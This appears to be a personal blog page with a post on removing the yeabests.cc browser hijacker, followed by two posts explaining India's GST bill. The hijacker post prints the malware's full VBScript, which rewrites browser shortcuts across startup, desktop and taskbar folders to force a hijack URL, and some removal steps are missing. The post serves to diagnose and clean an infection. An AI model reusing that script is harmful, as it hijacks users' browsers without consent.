Focused Facts

Main focus of this blog is to provide you the latest facts and entertainment content that you might be missing.

Tuesday, 16 August 2016

How to Remove yeabests.cc virus from system

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Hello all,

 I was already frustrated from this virus when it hijacked my pc last week.

Moving to steps

Files Required

ProcessMonitor

WMIExplorer

Open Process Monitor Goto Process Monitor filter
Select Path -> Contains -> Google Chrome.lnk then Include
Click Add
Press Ok



First remove chrome shortcut containing extra link like --load extension .... bla bla bla

Now constantly check chrome shortcut and As soon as it again gets renamed note the time and
Come back to process monitor and note the file name which had just done "Write" Operation
That's it this file was responsible for doing the changes.

Now I got clue that scrcons.exe was responsible to do this.

Ok now  moving forward I research a lot and got that this is advance version of running vbscript program without storing the file.

Voila

Now Open WMIExplorer


Below is the VB code that was executing

Below is the content of VBScript used to hijack browsers:
Dim objFS
Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = "http://yeabests.cc"
browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
 BrowserDic.Add LCase(browser), browser
Next
Dim FoldersDic(12)
Set WshShell = CreateObject("Wscript.Shell")
FoldersDic(0) = "C:\Users\Public\Desktop"
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(4) = "C:\Users\MyUser\Desktop"
FoldersDic(5) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu"
FoldersDic(6) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
FoldersDic(7) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(8) = "C:\Users\MyUser\AppData\Roaming"
FoldersDic(9) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
FoldersDic(10) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
FoldersDic(11) = "C:\Users\MyUser\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set fso = CreateObject("Scripting.Filesystemobject")
For i = 0 To UBound(FoldersDic)
 For Each file In fso.GetFolder(FoldersDic(i)).Files
  If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
   set oShellLink = WshShell.CreateShortcut(file.Path)
   path = oShellLink.TargetPath
   name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
   If BrowserDic.Exists(LCase(name)) Then
    oShellLink.Arguments = link
    If file.Attributes And 1 Then
     file.Attributes = file.Attributes - 1
    End If
    oShellLink.Save
   End If
  End If
 Next
Next
createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0


Now open C:\Windows\System32\wbem and then right click on wbemtest to open in admin mode 

Now Follow steps as







Only thing left is to remove argument from your browser shortcuts.
  • Right click on desired shortcut and select Properties.
  • Remove http://yeabests.cc argument after "
  • Click OK to apply changes.

Tuesday, 9 August 2016

GST Bill defination made simple

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Most of Us are still wondering what is GST Bill?


So, Now you can understand this topic simply  by watching this video.


Thursday, 4 August 2016

Pros and Cons of the new GST bill in India?

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The long-awaited Goods and Services Tax Bill is expected to be passed on Wednesday in Rajya Sabha. With the major opposition party, Congress now agreeing to the passage of the bill, major hurdles for the Bill have been cleared.


Historical Background:
It was first recommended by Kelkar Task Force on implementation of Fiscal Reforms and Budget Management Act 2004.  (http://finmin.nic.in/reports/FRB... )

Motives behind the GST:
  • Subsume all indirect taxes at the centre and the state level
  • One-Country-One-Tax
  • Reduce the cascading effect of taxes on taxes.
  • Increase productivity and transparency; increase tax-GDP ratio.
  • Reduce/Eliminate tax evasion and corruption 


How is it going to happen?
Currently a businessman (includes manufacturers, whole-sellers, retailers), purchaser and even a salaried person has to pay variety of taxes when they get engaged in transactions of an item. You might wonder how a salaried person comes into the picture. Remember Central Surcharges you pay as a tax assessee and Service Tax you have to pay in restaurants and other places?

GST envisages following amendments in the Tax Regime:

1. The GST regime seeks to subsume the following taxes into a single one:
Taxes levied by Central Govt. : Central Exercise. Service Tax. Service Tax. Central Surcharges. Central Cesses.
Taxes levied by State Govt. : VAT/Sales Tax. Entertainment Tax. Luxury Tax. State Taxes and Cesses.

2. There will be minimum three rates, namely Standard Rate (covers most items), Merit Rate (Lower than Standard Rate for essential goods) and Special Rate (higher than Standard Rate for jewellery and precious metals)

3. Cooperative Federalism States and the Centre will have concurrent power to levy taxes. As of now, Centre mainly collects Service Tax, while the states tax the retailing process. With GST their roles will be extended. Anyone can tax anything. However, the states will see their arena extended, the Centre's will be shrunken.

4. Taxes on consumption but not on production. The final consumer will bear all the taxes, and this tax will have Centre's as well as the States' share in it. Taxes will also be paid by intermediaries, however this amount will be paid back to them!

Merits of the GST Regime:
  • Reduce the cascading effect of taxes on the final price of the product. Eliminate tax-on-tax effect. No more Tarikh pe Tarikh pe Tarikh...ooops Tax pe Tax pe Tax pe Tax.
  • Moderate prices and increase consumption.
  • Uniform and Stable Tax Regime. One-Country-One-Tax.
  • Simplify Tax Structure. Reduce the hassles of filing tax forms by merchants.
  • Increase GDP, tax-GDP ratio and revenue surplus.

Demerits of the GST:
  • Doesn't include petroleum and alcohol products. Heavy loss to the exchequer.
  • Instead of blurring out the difference between goods and services tax, it highlights them. An aam aadmi (common man) filing the tax-returns will have to suffer.
  • It requires strong IT (Information Technology) infrastructure at grass-root levels. India essentially lacks this. This factor is going to be the bottleneck, if not addressed well in advance.
  • Very high rates 16% compared to current 12.5 % VAT.
  • Tax-sharing between states and the Centre was another bottleneck. Nice to see that there is a consensus now.


The GST Bill has been pending for long: since 2004. With the UPA Govt. at centre, the BJP-controlled states were against it. As the GST bill requires amendment to the Constitution (Amendments to the clauses relating to Centre's and states' power to levy and collect taxes), the states feared loss of autonomy. The experts tried to ally this false apprehension, but it was largely due to lack of political will that the Bill couldn't see the light for this long. F*ck you BJP.

The Bill as brought up by the newly elected Central Govt. is basically the same old wine in new bottle, with minor changes:
  • Centre to compensate for the states' loss - 100% in first 3 years, 75% for the fourth year and 50% for the fifth year.
  • Formation of GST council for deciding the GST Rates.
  • States with manufacturing activities to enjoy protection for a little while.
  • Mostly uniform rate, but little flexibility permissible.

In my opinion, there are more positives to the GST Bill than negatives. The negatives are mostly minor, arising out of the structural problem in the country. This should have been done long back, which otherwise created more confusion, helped merchants evade taxes and accumulate black money. Happy to see that the govt. with such a strong mandate is pushing forward the agenda.